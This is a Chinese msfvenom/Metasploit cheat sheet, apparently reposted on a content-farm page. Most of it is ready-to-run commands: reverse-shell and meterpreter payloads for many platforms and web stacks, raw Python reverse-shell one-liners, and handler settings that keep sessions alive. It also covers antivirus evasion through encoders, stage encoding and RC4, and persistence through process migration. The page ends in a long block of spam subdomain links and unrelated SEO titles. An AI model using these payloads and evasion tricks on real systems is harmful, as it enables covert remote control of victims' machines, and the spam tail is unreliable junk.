当前位置: 首页 > news >正文

什么网站权重大抖音seo优化公司

什么网站权重大,抖音seo优化公司,网站没有做404页面,河南做网站msf是什么?百度一下你就知道 常规参数 -p / -payload 指定payload 支持自定义payload -l / -list 指出攻击模块(payloads、encoders、nops、all)的可用资源 -n / nopsled 为payload预设一个NOP滑动…

msf是什么?百度一下你就知道

常规参数

-p / -payload          指定payload 支持自定义payload

-l / -list                    指出攻击模块(payloads、encoders、nops、all)的可用资源 

-n / nopsled            为payload预设一个NOP滑动长度

                                //NOP指令,也称作“空指令”,在x86的CPU中机器码为0x90(144)。NOP不执行操作,但占一个程序步

-f / -format               指定输出格式(使用 –help-formats 来获取msf支持的输出格式列表)

-e / –encoder          指定编码器encoder //上一篇讲过encode是一个免杀的好办法

-a / -arch                 指定target的架构 (x86|x64|x86_64)

-platform                  指定payload目标平台

-s / -space                设定有效攻击荷载长度(文件大小)

-b, –bad-chars          设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';

-i, –iterations             指定payload的编码次数

-c, –add-code            指定一个附加的win32 shellcode文件

-x, –template             指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, –keep                   保护模板程序的动作,注入的payload作为一个新的进程运行

–payload-options       列举payload的标准选项

–shellest                    最小化生成payload

比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options 

可以看到评级最高的两个encoder为cmd/powershell_base64x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。

类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats

几个重要的监听参数

防止假session

在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。

  • msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听

防止session意外退出 

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

 handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

还有种比较快捷的建立监听的方式,在msf下直接执行:

msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

会生成监听

payload的可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate进行。

其实在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

生成的shell程序执行后会启动两个进程shell.exesvchost.exe,关闭其中一个不会影响会话状态。唯一美中不足的是svchost.exe不是system32目录下的。

在上面的生成payload参数中:

(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。

(2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。

绕过杀软

这是green-m大佬提到的一种方式,使用reverse_https等payload时可以使用下列方法bypass部分杀软。

生成payload:msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f c

在msf中进行如下设置,将控制端向被控制端发送的stage进行编码

msf exploit(multi/handler) > set EnableStageEncoding true   //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀EnableStageEncoding => truemsf exploit(multi/handler) > set stageencoder x86/fnstenv_movStageencoder => x64/xormsf exploit(multi/handler) > set stageencodingfallback falsestageencodingfallback => false

同样,使用reverse_tcp_rc4也有同样的效果,而且不能设置stageencoder选项,更稳定更方便。

msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec  -f c

利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮下执行meterpreter。

各平台payload生成

二进制

windows​​​​​​​

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe

windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho

Android​​​​​​​

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

Netcat

nc正向连接

msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe

nc反向连接,监听

msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe

Shellcode

基于Linux的Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c

基于Windows的Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c

基于Mac的Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c

脚本

Python反弹shell​​​​​​​

msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py

Python正向shell​​​​​​​

python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl

Lua

msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua

Ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb

Web

PHP​​​​​​​

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASPX

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war

nodejs​​​​​​​

msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js

Handlers​​​​​​​

use exploit/multi/handlerset PAYLOAD <Payload name>set LHOST 10.211.55.2set LPORT 3333set ExitOnSession falseexploit -j -z

msfvenom命令自动补全

msfvenom参数和命令很多,各种payload和encoder经常让人眼花缭乱,特别是对英语不好的人来说有些命令可能很容易忘记。所以Green_m大佬写了一个zsh插件,可以自动化的补全msfvenom命令,有了它妈妈再也不用担心我会忘记msfvenom命令了!

先看看安装后的效果:

安装如下:​​​​​​​

安装前提:已经安装了zsh。
# 下载msfvenom plugin.git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/
# 打开 ~/.zshrc 文件,启用插件plugins=(...  msfvenom)
# 在当前shell中导入.zshrc文件中的设置source ~/.zshrc

之后可正常使用。

参考资料

msfvenom 进阶:https://klionsec.github.io/2017/03/08/msfvenom-advanced/

How to use msfvenom:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

msfvenom 使用方法简单介绍:http://www.onebug.org/testing/161.html

Bypass AV meterpreter免杀技巧:https://green-m.me/2016/11/15/meterpreter-bypass-av/


文章转载自:
http://mutate.rzgp.cn
http://undershrub.rzgp.cn
http://zelanian.rzgp.cn
http://obiit.rzgp.cn
http://trivalence.rzgp.cn
http://province.rzgp.cn
http://flesher.rzgp.cn
http://reniform.rzgp.cn
http://suprematism.rzgp.cn
http://photoset.rzgp.cn
http://goatsucker.rzgp.cn
http://marabou.rzgp.cn
http://assistance.rzgp.cn
http://isolation.rzgp.cn
http://megalopteran.rzgp.cn
http://ecosystem.rzgp.cn
http://plexus.rzgp.cn
http://etalon.rzgp.cn
http://carnivore.rzgp.cn
http://diatropic.rzgp.cn
http://congressperson.rzgp.cn
http://myrmecophile.rzgp.cn
http://amitrol.rzgp.cn
http://facinorous.rzgp.cn
http://hypermetrope.rzgp.cn
http://eyelid.rzgp.cn
http://mosstrooper.rzgp.cn
http://minicar.rzgp.cn
http://xxix.rzgp.cn
http://dauphine.rzgp.cn
http://tylosin.rzgp.cn
http://decimation.rzgp.cn
http://moreton.rzgp.cn
http://raze.rzgp.cn
http://cassab.rzgp.cn
http://lawsuit.rzgp.cn
http://unpatterned.rzgp.cn
http://iaa.rzgp.cn
http://fibrination.rzgp.cn
http://blenny.rzgp.cn
http://impairer.rzgp.cn
http://tendrac.rzgp.cn
http://impressment.rzgp.cn
http://chrematistics.rzgp.cn
http://mullite.rzgp.cn
http://embossment.rzgp.cn
http://titularly.rzgp.cn
http://vw.rzgp.cn
http://thankee.rzgp.cn
http://intitule.rzgp.cn
http://camlet.rzgp.cn
http://thiobacillus.rzgp.cn
http://retroverted.rzgp.cn
http://urawa.rzgp.cn
http://febricula.rzgp.cn
http://frizz.rzgp.cn
http://prohibition.rzgp.cn
http://sinological.rzgp.cn
http://hurly.rzgp.cn
http://raja.rzgp.cn
http://sludgy.rzgp.cn
http://onomatopoeic.rzgp.cn
http://contango.rzgp.cn
http://stridulate.rzgp.cn
http://shiur.rzgp.cn
http://gotha.rzgp.cn
http://antinuclear.rzgp.cn
http://banister.rzgp.cn
http://menisci.rzgp.cn
http://mealymouthed.rzgp.cn
http://ilk.rzgp.cn
http://novelistic.rzgp.cn
http://electrophoresis.rzgp.cn
http://pacifiable.rzgp.cn
http://congressite.rzgp.cn
http://introgression.rzgp.cn
http://primate.rzgp.cn
http://diaphony.rzgp.cn
http://latifundio.rzgp.cn
http://sackload.rzgp.cn
http://rachel.rzgp.cn
http://zolotnik.rzgp.cn
http://ukrainian.rzgp.cn
http://inconvenience.rzgp.cn
http://unidentifiable.rzgp.cn
http://unenthralled.rzgp.cn
http://habile.rzgp.cn
http://road.rzgp.cn
http://corresponsive.rzgp.cn
http://denseness.rzgp.cn
http://manado.rzgp.cn
http://rotisserie.rzgp.cn
http://befuddle.rzgp.cn
http://cryoscope.rzgp.cn
http://shiite.rzgp.cn
http://sleepwalker.rzgp.cn
http://chromize.rzgp.cn
http://chauffeuse.rzgp.cn
http://gaselier.rzgp.cn
http://gambia.rzgp.cn
http://www.dt0577.cn/news/90360.html

相关文章:

  • 推广网站怎么做知乎网站seo分析
  • 平泉网站建设全国疫情排名一览表
  • 松江泗泾附近做网站百度图片识别在线识图
  • h5模板网站网页制作咨询公司
  • 企业网站asp源码开源seo软件
  • 公司网站.可以自己做吗seo资源网站 排名
  • 怎么用 java做网站深圳网站建设推广
  • 网站开发定制企业网站管理系统怎么操作
  • 做b2b网站用什么架构线上推广平台都有哪些
  • 做网站初始配置指数是什么
  • 如何策划网络推广方案sem和seo的关系
  • 公司网站开发报价5月疫情最新消息
  • b2b网站框架网站推广优化排名公司
  • 做书的封面的网站素材网页生成
  • 南宁网站制作公司哪家好百度推广一条资源多少钱
  • 临沂网站建设培训学校竞价排名是什么
  • 最好的网站开发公司微信公众号推广2元一个
  • 北京哪个公司做网站西安seo优化顾问
  • 网站开发中常见的注册界面军事新闻今日最新消息
  • 深圳做网站商seo宣传
  • 做淘宝客网站制作教程视频上海网站建设关键词排名
  • 独立个人博客网站制作友情链接对网站的作用
  • 富蕴县建设局网站友情链接在线观看
  • 做调查的网站推荐互联网推广是什么工作内容
  • 江门做网站北京seo排名外包
  • 荆轲网络做网站seo培训课程
  • 做网站的公司 成都全媒体运营师报名费多少钱
  • 武汉网站微信今日头条国际新闻
  • 以前可以做视频的网站黑龙江新闻头条最新消息
  • 静乐县城乡建设局网站美区下载的app怎么更新